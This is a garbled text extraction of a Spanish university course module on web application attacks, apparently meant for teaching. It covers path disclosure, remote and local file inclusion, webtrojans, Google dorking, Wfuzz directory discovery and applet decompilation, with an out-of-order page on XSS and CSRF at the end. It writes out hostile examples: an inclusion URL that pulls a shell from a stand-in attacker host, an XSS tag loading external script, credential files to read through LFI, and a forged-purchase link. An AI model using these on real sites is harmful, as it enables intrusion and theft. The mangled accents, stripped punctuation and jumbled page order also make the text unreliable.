se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 19: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

